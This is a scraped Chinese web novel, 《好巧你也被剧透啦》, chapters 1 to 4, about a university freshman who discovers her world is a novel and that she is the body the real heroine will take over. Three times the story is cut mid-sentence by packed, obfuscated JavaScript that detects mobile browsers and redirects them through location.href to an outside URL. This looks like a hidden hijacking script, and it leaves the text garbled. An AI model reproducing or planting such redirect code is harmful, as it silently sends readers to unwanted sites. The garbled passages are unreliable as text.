《好巧你也被剧透啦》 1. 12女主角 湛蓝如洗的天空万里无云,微风徐徐,传送来阵阵花香。 一只白色蝴蝶翩跹而来,落在少女圆圆的花苞头上,少女浑然不觉,手里捏着一封包装粉嫩的信件徘徊在校园门口,时不时焦虑地左顾右盼,像是在找什么人。 周围学生来来往往,有高一高二正常上学的学弟学妹,也有和她一样来登记高考成绩的高三毕业生,有不少人认出了她,刻意放慢了脚步等着看八卦。 不知过了多久,一辆出租车在少女身旁停下,后座车门打开,迈出一条修长的腿,男生探出身子,与少女对视一眼,表情散漫地下了车。 “段胥阳同学!”少女急忙上前,双手颤抖地递上她精心准备的情书:“我是你隔壁班的罗姝,我想跟你说,高中三年,我一直很喜欢你,希望你能收下我的情书!” 出租车从他身后驶过,带起一阵尾气,将他的头发拨乱。段胥阳没有什么羞涩的神情,也没有伸手去接。 “同学,”他眼神陌生地扫过她,懒洋洋地开口:“抱歉,我不、不、不喜、嗞——” “@!abcd1234$%^&()+-=” 男生未能说出口的话化作刺耳的电音,周围所有看热闹的人都化身没有灵魂的建模,脸上闪过大小不一的数据流。 原本流畅的天幕宛如被一双大手紧紧攥起,堆积的褶皱形成了一道道漩涡,连带着整个世界一起被揉碎。 罗姝从噩梦中惊醒,先缓了缓急促的呼吸和心跳,这才看了一眼手机,时间显示刚过凌晨四点。 可罗姝已经彻底睡不着了。 这是她这个月第25次做这个梦。 每场梦的细节可能有所不同,但主要情节是一样的,都是她在高考后跟同校三年的邻班校草段胥阳告白,然后被果断拒绝。 罗姝不禁回想她到底是怎么陷入如此境地的。 要论异常,从五月底开始,她就时常能听到一些杂音。但真正开始做梦,还是要从九月初,新生报到第一天说起。 高考时罗姝受杂音影响精神恍惚,最终高考成绩比往常在校成绩少了一百多分。 由于她坚决拒绝复读,家里父母对她十分失望,撂下一句“我们再不管你”,就直接去了首都培养二胎,自然也没有送她上学。 那天罗姝一个人扛着行李箱和被褥,艰难地走在偌大的校园里,十分迷茫地寻找自己宿舍楼的位置。 正在她累得气喘吁吁、大汗淋漓时,一双宽厚有力的手直接夺过她背上厚厚的被褥。 那人理直气壮地问:“几号楼?” “五、五号。”罗姝气都没喘匀,条件反射地回复了楼号,下一秒她反应过来,急忙伸手:“没事的,同学,我自己可以的。” “啧。”来人帅气精致的脸上浮现出不悦的神色,灵活地闪身躲开她,啧了一声:“你不知道我叫什么名字吗?” “段胥阳……同学。” 罗姝当然认识这张高中时期就搅动风云的脸,她只是从没听说过段胥阳是这样一个热心的性格。 对面段胥阳的脸色却又神奇地回温了,他越过罗姝大跨步走出去:“五号楼不在那边,你走错方向了,跟紧我。” 看了人家那大长腿一眼,罗姝皱眉抿着嘴,碍于东西在人家手上,只能小跑着追上去。 段胥阳也没体贴减速,抱着她的被褥一路走到五号楼门口,才停下来等她。 但说他不够体贴吧,一直到罗姝排了半天队从宿管那领了钥匙,他都没把东西丢下,而后还径直帮她送到了宿舍。 要不是罗姝及时制止他,这位热心校友甚至都打算替她铺床。 “段胥阳同学!这个我自己可以!” 段胥阳表情悻悻地收手,冲着一旁正在吃瓜的白婵打了个招呼,说了句:“那你们好好相处。” 便转身离去。 原本一直到现在为止,罗姝都没有再见过段胥阳。 问题就在于从那天晚上开始,罗姝就开始不间断地做梦。 整整25天军训期,她做了25天的梦,每天晚上在梦里被人花样拒绝,搞得她严重睡眠不足。 起床后还有高强度的训练,大半个月下来,罗姝憔悴得像是生了一场大病,连教官都不敢让她参训了。 大概是知道罗姝拿做梦这事没办法,这梦更加变本加厉,现在都开始从酸涩青春校园风发展成了变异恐怖赛博风。 在心里狠狠咒骂了两句,罗姝轻手轻脚地下床,打算去洗把脸。 谁知,刚打开卫生间的玻璃门,就见一阵刺眼的白光从门缝后争先恐后地挤出来,将罗姝彻底包裹,刺得她双眼发疼。 等罗姝双眼的刺痛感消失后,她缓缓睁开眼,发现自己正站在一处虚空里,眼前凭空漂浮着一本封面简单的书籍,上面印着一行花体字:《缘来又是你》。 那破书一闪一闪地发着光,像是在提醒罗姝翻开它。 罗姝左右看了看,四周一片白茫茫,别无选择。她只好一直站着,忍着腿酸脚麻把这本小说看完。 看完后,她顿悟了。 原来她生活了18年的世界其实是一本小说。扰了她一个月清梦的段胥阳是当之无愧的男主角,而她罗姝,是半个女主角。 之所以是半个,是因为这是一本女主借尸还魂的重生小说,罗姝的身体,就是女主角要借的尸。 罗姝:“……” 她就知道这鬼日子不像人过的,原来是为了给女主角创造背景啊。 小说从女主角曹恩悦重生后写起,主要情节是女主角报复害她丧命的渣男贱女并在这条复仇之路上收获真正的爱情。 对于罗姝这个原身的描写不过寥寥几句,罗姝专门提炼了一下有关于自己的剧情: “罗姝”有一对控制欲很强的父母,在她考入清大新闻系三年后,带着摆脱父母掌控的想法,她暗中决定去离家上千公里的某沿海城市一家官方报社实习。 熟料计划还是被父母知悉,他们将她控制在家里,强迫她进入当地一家工厂打工。“罗姝”内心绝望,愤然之下跳窗逃走,却也因为错过了递交材料的时间,没法进入正规报社,只能先成为一名八卦小报的狗仔。 她跟踪拍摄的第一个对象就是段胥阳,这个她喜欢了很多年、还曾在高中当众拒绝过她的表白、害她成为全校笑柄的人。 偷拍行为被段胥阳发现后,“罗姝”又惊又怕,羞耻之下转身逃跑,没有注意周遭的车辆,不幸遭遇车祸,至此将身体正式移交给了曹恩悦。 这段剧情可谓是槽多无口,但又诡异地贴合了一部分实际,罗姝瞪着眼睛,撇嘴心想。 她爸妈确实控制欲很强,如果不是她高考失利,按照父母的规划,她现在已经是清大新闻系的新生了。 而如今,她是一名普通一本大学旅游管理专业的莘莘学子,正在为成为一名合格的导游努力。 不过,凭借罗姝对父母的了解,他们虚荣心重,好攀比,是不会让她去工厂打工的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924045|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以及,她高中时一心只读圣贤书,对隔壁班那位风云人物段胥阳也没有太过关注,这点完全与剧情不符。 怪不得天天做梦呢,罗姝板着死鱼脸,原来是她这个工具尸严重跑偏了剧情。 正想把关于自己的剧情再看一遍,罗姝耳边忽然响起室友白婵的声音:“姝姝,姝姝,要起床了。” 罗姝只感觉一阵头晕目眩,再次睁眼时发现自己竟然还躺在床上。 白婵已经穿戴整齐,正满脸担忧地推着她的肩膀。 “我还以为你生病了,怎么叫你都叫不醒。”见她醒来,白婵总算松了一口气。 太阳穴一鼓一鼓的抽疼,罗姝艰难地坐起来,靠在栏杆上问白婵:“小婵,你昨天晚上有听到我去卫生间吗?” 白婵的床位最靠近卫生间,她睡眠质量也不太好,晚上有点动静就会惊醒。此刻,也唯有她能证明罗姝经历的一切不是做梦。 但白婵很茫然地摇了摇头:“没有啊,我昨天晚上什么都没听到。” “没有么……”罗姝揉了揉自己的脸,试图让自己更加清醒一点。 那本名叫《缘来又是你》的小说,具体情节她还历历在目,这么久以来睡不好觉也不是她的臆想。 虽然这样说很不唯物主义,但罗姝就是莫名确信,这个世界不是真实的,她只是一本小说里的工具尸,由于她的各种行为都脱离了原剧情,所以她被世界意识警告了。 一路懵懂地跟着几位室友来到操场,今天是军训的最后一天,要完成军训的最后一个项目:会操表演。 会操以升国旗奏国歌拉开序幕,罗姝无精打采地垂头看着自己的双脚,忽然听到周围女同学的窃窃私语。 “那个升旗手是不是段胥阳?他穿制服也太帅了吧!” “早知道我就站第一排了,这样还能近距离看看帅哥!” “哎,你们知不知道他的乐队今天晚上有演出啊,上周就在校园墙开始宣传了。” “啊啊啊那我们一定要去看,需不需要门票啊?” 罗姝忍不住轻笑了一下,还真是和高中时期一模一样,只要段胥阳一出场,全校男女老少的目光焦点就都是他。 仪仗队踏着正步从队伍前庄严走过,罗姝的视线穿过前排同学的缝隙落在段胥阳身上。 军绿色的仪仗队礼服像是为他量身定做得一般,衬得他脊背笔挺、宽肩窄腰、四肢修长。 接近一个月的风吹日晒,将他原本白皙的皮肤晒成了健康的小麦色,冲淡了他五官的秀气,搭配着礼帽,竟让他多了些坚毅的男人味。 跟那个在梦中拒绝了她一次又一次的清俊少年截然不同。 世界的男主角吗? 罗姝又想起他在开学第一天对自己的帮助,有这样帅气的皮囊,还有这么柔软的内心,也难怪故事里的“罗姝”会悄悄喜欢他。 罗姝从很久以前就在思考自己存在的意义。父母为了让她能考上最好的大学,几乎把她与世隔绝。 从小到大,罗姝没有社交权、没有选择权,唯一的任务就是背书、做题、考出优异的成绩。 她时常认为自己没有灵魂,只是任人摆弄的木偶。 现在罗姝明白了,原来她存在的意义,就是为真正的女主角曹恩悦创造一个优质的重生条件。 就这样把自己的身体让出去吗? 罗姝的视线跟着段胥阳走出很远才缓缓收回,半晌,她僵硬地重新低下头。 就这样让出去吧。 2. 100%男主角 起初罗姝是有些不甘的。 凭什么她遭受的所有痛苦只是为了给女主铺路,就算这个世界是一本小说,是虚拟的存在,难道她罗姝不算有血有肉的活着吗? 她故意用指甲掐了一下她的胳膊,针扎般的刺痛感传遍神经,大脑抗议般嗡嗡两声,在向她证明,她明明富有生机。 可她抬头看了一眼天色,明明是那样明媚的天气,她却浑身发寒,感受不到任何温暖。 罗姝想到接连25天不能安然入睡的自己,想到自从高考出分那天摔门离去后再没有联系过的父母,想到所有人不解、痛惜的眼神。 她突然明白,“罗姝”这具躯体里装的究竟是不是罗姝的灵魂对所有人而言或许都不重要,“罗姝”只是一个符号,只有做到百分之百优秀,才能称之为“罗姝”。 相比起她本人,女主角曹恩悦那争强好胜的性格,或许才更合爸妈的心意。 人能不与天斗,她的命运如此,又何必做无用的抵抗。不如努力做好一个道具该做的事,老老实实走剧情,搞不好最后离去时还能轻松一点。 那么,按照世界意识连续25天的提醒,她现在要做的事,就是先去暗恋段胥阳,然后表白被拒。 怀揣着该如何暗恋一个人的疑问,罗姝机械地完成了军训最后一天的会操演出。 伴随着主席台上副校长一声洪亮的“解散!”,操场上的新生像是离巢的蚂蚁一样,乌泱泱散开。 罗姝和三位室友因为身高不同,被分配在大团的不同排数,如今所有人都走动起来,汇合起来颇费了一番功夫。 好不容易等四个人都凑齐了,就听见身后传来一阵急促的脚步声,还有一声焦急地呐喊:“罗姝!” 罗姝带着茫然的神色转身望去,就见段胥阳还穿着那身帅气的仪仗队礼服,一边脱手上的白色手套,一边向她走来。 “我晚上的演出,我给你,”段胥阳话语一顿,看了她身边的几人一眼,又补充说:“还有你的朋友都留了前排的座位。” “我……们吗?”感受到四面八方传来的八卦视线,罗姝颤颤巍巍抬起手地指了指自己,甚至都产生了一种荒谬的受宠若惊感。 段胥阳却丝毫意识不到自己有多自来熟似的,理直气壮地点头:“对啊,这可是我的第一场公开演出。” 他甚至有些委屈:“你不来支持我吗?” 罗姝把手背到身后,掐了自己一把,心里大喊一声:“暗恋!” 就这样给自己鼓劲后,罗姝僵硬地提起嘴角干笑两声:“当然,我当然会来支持你的,演出加油。” 段胥阳这才满意又神气地扬起下巴,掏出手机对罗姝示意:“那先加个微信,现在门票都在场务那里,你们到那就给我发微信,我让场务把票给你。” 就这样,罗姝猝不及防地拥有了段胥阳的微信。再一回头,对上的是三位室友六只明亮的眼睛。 “呵呵,”罗姝解释:“我们是高中校友,还是邻班,共用一套教学班子……所以还算是点头之交。” 室友们虽然也想八卦,但经过将近一个月的磨合,她们也对彼此的性格有了一些了解,几人相视一笑,便手挽手一起去吃饭。 饭后,几人回到宿舍,室友们不约而同地翻起了各自的行李箱。 罗姝在一旁格格不入地整理起了教科书,引来三人侧目。 “姝姝,晚上要前排看演出,你不挑一下衣服吗?”林莎问她。 “现在表白墙上,美术学院的气质学姐、空乘专业的艳丽系花和隔壁舞蹈学院新生里公认的清纯校花都在重金求购前排位置。”康雅琪一边比划一条长裙,一边分享自己刚刚查到的消息:“她们一定会盛装打扮,我们到时候要是和她们坐同一排,不好好捯饬一下,可是会被反衬成猴子的。” 罗姝抱着一本《管理学原理》十分认真地回复:“可是现在晚上也挺冷的,我想穿一套运动服过去。” 突然,她意识到了什么似的,将手里的书放下,问道:“那几朵花,是不是暗恋段胥阳啊?” 气氛瞬间变得诡异起来,那三人异口同声说道:“那叫明恋。” 罗姝若有所思地点点头,自言自语:“所以,暗恋段胥阳是不是也要盛装打扮一下?” “哦——?”林莎耳尖,顿时拉长了音,刻意挤出饱满的播音腔:“是某人暗恋段胥阳吗?” 白婵想到段胥阳还给罗姝搬行李的事,忍不住露出一个八卦到变态的笑容:“该不会,你们俩?嘿嘿嘿。” 康雅琪和她一左一右站着,两人的表情就像是复制粘贴,她跟着打趣:“难道我们有朝一日,能和校草女友同寝?” “你们别闹了。”罗姝从来没有经历过和朋友这样互相打趣的日常,脸皮很薄,此刻已经微微泛红。 想了想,她鼓足勇气坦白:“我打算从现在开始暗恋段胥阳。” 室友们得意地甩甩头,满脸写着:我就知道。 白婵将自己的行李箱一把丢开,挪到罗姝的衣柜前,说:“放心,你的幸福,我们来守护,你底子那么好,就算被那三朵花包围起来,你也是最靓的仔!” 说罢,她很不客气地开始翻罗姝的衣柜,只翻了几件她就频频摇头:“不行不行,太寡淡,得给姝姝买新的战袍。” “那我们一会儿就去逛街!”林莎也一脚蹬开自己的衣服,笑容满面地说:“正好我找不到一件顺眼的衣服。” 于是,三言两语间,罗姝的行程就被安排好了。 下午,罗姝终于换掉穿了接近一个月的迷彩服,重新穿上便装。 是一套浅灰色的长袖衬衫裙,裙摆只超出大腿根不到十公分,书卷气中不失甜美可爱,与罗姝意料之外的相得益彰。 那是室友们翻遍商场才给她找到的适配度最高的战袍。 裙摆太短,罗姝怕走光,更怕夜里冷,便不顾林莎反对执意穿了一条肉色的光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924046|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿神器。 还没来得及整理衣领和袖口,林莎一把将她拉到座位上坐好,化妆品不由分说的拍了过来。 “姝姝你支棱起来啊!”林莎手上动作迅速又利落,嘴上也数落不停:“情敌众多,我们要拿出气场!比起她们,你近水楼台先得月,可千万不能掉链子!” 罗姝眯缝着眼睛,瞥到空气中粉尘飞舞,默默屏住呼吸,不敢说话。 很快,焕然一新的四人就来到了体育馆门口。这里早已人满为患,挤进去都困难,罗姝的新鞋子都在乱中被人踩了好几脚。 暗恋一个人真的要付出好多,罗姝心里哀嚎着,摸出手机,给段胥阳发了一条微信:我们已经到门口了[微笑.jpg] 段胥阳秒回两个字:“等着。” 没过几分钟,一个青年从后门绕出来,扫视了几圈后,便径直朝着罗姝几人走来,拿着四张票的那只手在半空中挥了挥:“罗姝,跟我走。” 这位有些瘦削文艺的青年是段胥阳的发小曹非,也是罗姝的邻班同学。曹非不仅是段胥阳乐队里的键盘手,也是小说女主曹恩悦的亲弟弟。 想到他的身份,罗姝情不自禁地咬了咬下唇,扭头对室友们说:“走吧。” 这是货真价实的走后门,几人都不敢太高调,蹑手蹑脚地跟在曹非身后进了场馆。 段胥阳这次演出场地布置得非常专业,堪比一场小型音乐节,已经有观众入场。 曹非把门票递给她,指着一个方位说:“大概是在这一片,我就不带你们过去了,今晚玩得开心。” “谢谢,也祝你们演出顺利。” 段胥阳选的位置正对演出舞台,视野上可以将整个舞台尽收眼底,录像、拍照都非常方便。 林莎对着门票上的座次找到位置,她摸着那小马扎,忍不住感慨:“这种位置放在真的演唱会,得是VIP票专座吧。” “沾姝姝的光,”白婵撞了撞罗姝的肩膀:“也是让我们近排看到校草的演唱会了。” “那三朵花好像还没进来呢。”康雅琪左右巡视一圈,视线又回到了罗姝身上,她肯定地点点头:“我们姝姝肯定不比她们差。” 罗姝无奈地笑了笑。她倒是不太在意那三朵花,毕竟按照剧情,段胥阳这时候已经有喜欢的人了,就是大他十二岁的邻家姐姐,小说女主曹恩悦。 只是此时曹恩悦已经远赴大洋彼岸和渣男结婚,段胥阳只能将心事深藏,一直到曹恩悦重生到她的身上,他的感情才得以重新见光。 在这种背景下,再来三十多花也只能证明段胥阳身为男主的痴情。 很快,八点钟到来,伴随着一阵烟雾,段胥阳组建的校园乐队闪亮登场,大幕也亮起这次演出的主题:放肆的青春。 乐队名叫逆时针,一共有四个成员,段胥阳是其中的主唱和吉他手。 为诠释乐队反抗常规、逆转命运的理念,他们用一首《改变自己》火热开场。 3. 暗恋第1天 罗姝曾经在高中的文艺演出晚会上听过段胥阳唱歌,但跟着录制的伴奏唱歌,在一堆老师注视下中规中矩的表演,和跟着乐队现场演出,单纯发自热爱调动灵魂歌唱的魅力是完全不同的。 她并没有什么音乐品鉴能力,从前只知道段胥阳有把好嗓子,还会弹吉他,现在竟然也从段胥阳的歌声里听出了旺盛的生命力。 段胥阳丝毫不怯场,他满舞台的跑,到处跟听众手势互动。 相比起原唱王力宏,18岁的段胥阳那“改变自己,改变世界”的澎湃勇气中,又多了一丝不知天高地厚的莽撞,那是独属于少年人的意气。 这是一首再经典不过的歌,很快,在段胥阳的带动下,周围响起大合唱。听众们自发的亮起了闪光灯,蹦蹦跳跳地向世界发起挑战宣言,难掩的热血直冲云霄。 罗姝捂着耳朵,原本麻木的心脏都要随着音乐的律动爆炸了,她面上带起笑意,眸光波动不停。 九月末的夜晚已经有了凉意,但今晚好像不一样。 一连几首快节奏的歌曲,把整个场子的热情都点燃了,罗姝也被康雅琪和林莎一左一右拉着摇晃起身体,为表演者应援。 一个半小时的演出很快结束,即使观众再不情愿,也被保安指挥着逐步退场。 舞台的最前排就是距离门口最远的位置,为了防止拥挤,罗姝四人又在原地坐了一会儿,才起身往外走。 段胥阳就站在分割前台与后台的幕布后,看着那个极其显眼的身影越走越远,等到罗姝的身影彻底汇入人群中消失不见,他才挂起笑容朝后台走去。 此刻的后台,临时聘请来的工作人员来来往往,到处都是收装备、收道具、收线缆的人,场面混乱又忙碌。 曹非将他心爱的键盘收纳好,余光瞥见段胥阳心情不错的哼歌进来,露出了然的神色:“采访一下,你的女神来看你的演出,感受如何。” “我再重申一遍,”段胥阳收敛起笑容,一本正经的竖起手指:“是她,暗恋我。” 曹非嗤笑一声,捂着嘴只露出带着嘲意的双眼:“她暗恋你?从没有用正眼看过你的那种暗恋吗?我看你倒是没少偷看人家。” “我是在观察她到底要怎么暗恋我,”段胥阳说着,嘴角忍不住地上扬:“我们都互相加了微信了。” “这也值得你显摆,”曹非白了他一眼,又纳闷又好奇:“我也是佩服你,上午操场上那么多人,都长得一模一样,你居然还能一眼就找到她。” “那是在你们眼里一模一样,在我眼里,她比谁都明显。” 毕竟,不是所有人头顶上,都会顶着一个上下跳跃不停的红色大箭头。 说起来,段胥阳的人生一直以来都顺风顺水,中二时期他也曾幻想自己这么命好,是不是什么天命之子。 没想到这条荒诞的少年幻想,竟然在高三得到了佐证。 高三开学没多久,他就在隔壁班第一学霸的头顶上,看到了一个硕大又通红的箭头,箭头上还写着两个鎏金的大字:老婆。 且不说这个称谓对一个纯情少年冲击有多大,单是一个人脑袋上多了一个箭头这件事就足够他震惊一段时间了。 但其他人对此并没有任何反应,段胥阳不着声色地对周围的人一通旁敲侧击,很快就确定,这是只有他才能看到的箭头,是独属于他的金手指。 也就是说,这是老天爷亲自给他选的媳妇儿,一个从高一开始每周都要在国旗下讲话的超级大学霸。 学霸坐在靠近门口的第一排,那段时间他找了无数借口,在隔壁班门口来来往往,终于看清了那箭头下方还有一行小字:小娇妻正在暗恋中,告白倒计时四年六个月零三天。 一年时间过去,其实他已经可以做到在日常生活中完全忽视这个箭头。但每次想起箭头上的文字他还是既得意又觉得搞笑。 为了憋住笑意,他把自己硬生生憋成鸭子嘴:“什么小娇妻,人家全科年级第一,这么威风一个小学霸,哪里娇妻了。” 曹非听见他一个人嘟嘟囔囔,见怪不怪地扭头:“又发病。” 另一边,罗姝在给自己整理“暗恋计划书”。 她在网上查了很久暗恋那些事儿,根据各种文学和影视作品,大多数的暗恋行为都产生于自卑,常因对方的优秀而感到自己并不够好,因此难以开口表白。 同时,暗恋这种情感一般会从四个角度体现出来,分别是:情绪随着对方的行为剧烈波动、默默关注对方并刻意偶遇、写暗恋日记,以及为对方改变自己。 罗姝在“刻意偶遇”、“写日记”、“默默关注”这几个字眼上标注了重点符号。情感方面她实在难以模仿,毕竟她要是优秀起来就太过优秀了,她实在自卑不起来。 那就只能在行动上有所表示。 想了想,她打算先去超市买一本日记回来。 “你们去超市吗?或者有什么需要帮忙带的东西吗?”罗姝说干就干,她看了一眼时间,超市还没打烊,立马站起身开始换鞋。 “你现在要出去啊?”康雅琪已经卸好妆,正在抹护肤品。 “嗯,我想买个笔记本,写日记用。” “那我跟你一起去,我还能帮你挑一挑封面。” 白婵和林莎一听也急忙举手:“我也去!” 嘴上说着要帮忙选封面的室友们一进学生超市就冲着各区零食四散而去,罗姝自己一个人来到文具区,看着各式精美的笔记本,顿时感觉自己犯了选择困难症。 千挑万选,磨蹭了十几分钟,罗姝才下定决心买了一本封面很素雅的笔记本,翻开后每一页都印着卡通图案,简单中不失俏皮可爱。 结果室友们挑选零食的选择困难症比她还严重,罗姝结好账后又等了好久,那三个人才各自拎着大包零食走了出来。 白婵的零食瘾最大,她看到罗姝居然真的只买了一个笔记本,顿时大呼厉害:“我真的没有想到这个世界上真的有进了超市却一包零食都不买的人!” 罗姝只是笑:“我不喜欢吃零食。” 她的饮食被父母管理的很严格,他们生怕她哪天吃坏肚子影响上课,就连酸奶都很少允许她喝,久而久之,她也就不向往零食了。 当然了,手头拮据也是另一个重要原因。罗姝高考那两天空了不少大题,爸妈认为她完全有能力答完试卷,因此一直认为她是故意考砸的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924047|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管她无数次解释自己那段时间总是听到杂音,身体不舒服,他们也认为这都是罗姝自己叛逆找的借口。 再加上罗姝一直拒绝复读,作为惩戒,他们断了罗姝的生活费,扬言让她自生自灭。 罗姝在便利店打了两个月短工,又运气好接到了一个不错的家教工作,才顺利攒够学费。至于现在用的生活费,那都是之前攒下来的压岁钱。 还好她爸妈虽然有各种各样的缺点,但不是会拿走孩子压岁钱的那种家长,不然罗姝真的会被饿死。 罗姝不想再想这些,后面室友们讨论什么零食好吃的时候,她便一直默不作声。 等回到寝室,她先去卫生间卸了妆,便换了睡衣坐在书桌前开始构思自己的第一篇日记。 她认认真真地写好日期,开始回忆她与段胥阳的几次交集,以及这些年来她听到过的关于段胥阳的传闻,慢慢拼凑出她对段胥阳的印象。 一个善良的、别扭的、有些霸道的、才华横溢的…… 想到这里罗姝顿了一下,一个具有蓬勃生命力的人,与行将朽木的她截然不同。 就算是黑夜,她仿佛也能在他身上看到劈穿穹顶的烈阳,炽热又坦荡。 她慢慢梳理情绪,在笔记本上留下一段工整的文字,便将它收好,专而拿起桌上的《管理学原理》认真翻看起来。 按照原计划,她本来是要认真预习这门专业课的,但为了看段胥阳的演出,她只能抽空速翻找重点,有针对性的进行理解并背诵。 一想到这,罗姝就感到自己很无趣。哪怕现在已经没有人盯着她好好学习了,可她依然在拿到课表的时候就早早做好了学习计划。 这么多年来一直被圈养着,她自理能力很弱,也没有朋友,唯一称得上擅长的就只有学习。 当然,现在看来这也并不是什么坏事,她还需要奖学金减轻经济负担。 只是偶尔她会觉得,她好像还活在什么无形的束缚中,周身都是锁链。 手机震动了两下,是段胥阳发来微信:“放假怎么回去?” 后天就进入小长假,明天宿管点名后就可以离校,不少同学甚至请了假,买了今晚的票连夜回家。 罗姝并不在其中,她认真打字回应:“假期我会留校。” “据说留校的话,全校只开一个食堂,而且只有两个菜。”段胥阳发来一段语音,罗姝戴上耳机点开,听到了他懒洋洋的声音。 “不是白菜炒白菜,就是包菜炒包菜,锅里找不到一根肉丝。” “你还是祖国的花骨朵呢,就吃这些,身体还吃得消嘛。” 罗姝:…… 可恶,单是看到菜名就感觉人生无望了。 在回家受父母白眼和在学校吃糠咽菜之间,罗姝陷入了艰难的抉择。 正为难着,手机又是叮铃一声,是她年仅9岁的小妹用电话手表给她发了一条语音。 “姐姐,爸爸妈妈说我们放假也不回去啦,你钱还够用吗?我偷偷跟你说,我房间的小猪存钱罐里还有一千块钱,你拿去用吧。” 所有的纠结在这一瞬间都变成了一种自作多情,罗姝身体僵硬了一会儿,才自嘲的笑了一下。 4. 暗恋第2天 罗姝先回复了妹妹几句,让她把钱存好别乱花,又切换回和段胥阳的聊天界面。 “有道理,我选择回家。” 她把这几个字发出去,突然想起自己的暗恋计划书里还有一条是“含蓄的语言”,急忙找了个害羞的表情补发过去。 这下够含蓄了吧? 罗姝之前没使用过这些社交软件。做家教时,热情的学生家长送了她一台新手机,她才拥有了人生第一台智能手机。 与互联网的甚少联系让她明明刚刚成年没多久,却觉得自己像一个跟不上时代的老人似的。 屏幕上,段胥阳的消息跳出来,他发来一个很可爱的表情包,是一只小白兔甩着两只耳朵蹦蹦跳跳,头上还飘着一行音符,只是看着就能让人感受到那种好心情。 完全秒杀她那个小黄脸emoji。 罗姝眼神中迸发出一抹奇异的神采。她微信联系人很少,班级群都是班主任在发一些比较严肃的通知,寝室群因为四人几乎形影不离还没发过言。 这是她第一次接触表情包这种东西。 她小心扯了扯临床的白婵:“小婵,你能不能教教我,从哪里找这种可爱的图片啊?” 出于礼貌,白婵没有细看他们的聊天记录,只是粗略扫了一眼。 这一眼已经足够发现问题了,她一骨碌翻身坐起来,十分严肃地把手搭在罗姝肩膀上:“亲爱的,你这个问题问的非常关键,你确实需要一些可爱的、撒娇的、暧昧的表情包。” “以后聊天,放弃那个黄脸盘子,像段胥阳一样,卖萌好吗?” 罗姝若有所思地记下新词汇,随后问出她最关心的内容:“发这样的…表情包,会显得说话比较含蓄吗?” “老含蓄了。”白婵振振有词:“当代年轻人的表情包社交文化,本身就是一种含蓄的沟通方式。” “原来如此。”罗姝一本正经地点点头:“我学会了,谢谢你,小婵。” 白婵正联合其他两位室友把自己珍藏的各种表情包都贡献出来,闻言不在意地挥挥手:“小事,小事。” 上百张表情包发布在寝室群,罗姝按照白婵教她的方式,一张一张加入自己的表情包库。 段胥阳那边早就发来了新的消息:“现在买票还能买得到吗?我明天自驾回去,可以带你一程,怎么样?” 罗姝打开购票软件一看,果然连站票都售罄了。 她又开始琢磨,一个暗恋段胥阳的人,收到段胥阳本人的邀请,会是什么反应呢? 应该会答应的吧,罗姝咬着嘴唇在那上百张表情包里翻找了好一会儿,终于找到一个适合的。 是一只Q版小熊在抬手挥舞,背景画着一颗心,心里用手写体写着:好哦~ 点击发送。 “呵,”隔着十几栋宿舍楼,某男寝里,段胥阳忍俊不禁地笑了,他极其刻意地将手机放在曹非眼前转悠一圈:“她给我比心。” 曹非:“……” “我们还约好明天一起开车回家。”段胥阳捏着下巴作沉思状:“需不需要给车里喷点香水啊,再放几只小熊玩偶,就和这个比心小熊一样的小熊,她应该会自在一点吧。” “你也知道的,她这个人就是比较害羞。” 曹非打断他的荡漾:“劳驾,我只有一个问题。” “说呗。”段胥阳已经开始翻箱倒柜找小熊,很敷衍地回了两个字。 “我应该还在你的计划里吧?”曹非掏出车钥匙:“毕竟这车也有我的一半。” 段胥阳动作一滞。 “你这个牲口。” —— 次日早上九点,罗姝被闹钟叫醒,她睡眼惺忪地揉了揉眼睛,原地躺着伸了个懒腰,抱着被子慢吞吞坐起身。 寝室里只剩下她一个人,一张小纸条放在她手机屏幕上,上面写着一行小字:难得见你睡得香就没叫醒你,阿姨已经查过寝啦,卫生也已经打扫过,我们先走一步,拜拜~ 字体偏幼圆,应该是林莎写的,她们三个买的都是一早的票,算算时间,这会儿都已经发车了。 终于睡了一个一夜无梦的好觉,罗姝轻盈地下床拉开窗帘。 阳光打在她身上,暖融融的,让她感觉浑身的血液都跟着温暖起来,她轻轻笑了一下,将那张纸条夹进了笔记本里,迅速洗漱完毕,背了个小包就走出了寝室。。 她和段胥阳约定十点钟在西校门汇合,去超市买了四瓶水和两个面包后,也才刚过九点半。 校门口有一个眼熟的人正靠在保安室的墙上低头玩手机,头发有些长,气质很文艺,是昨天刚见过面的曹非。 对哦。 罗姝顿住脚步,他们两个是发小,向来形影不离的,肯定也要一起回家。 她居然要同时和两个不熟悉的高中校友打交道吗? 她不由得局促地咬住下嘴唇的一块,一直咬到那块嫩肉发胀发麻,才强撑着鼓起勇气。 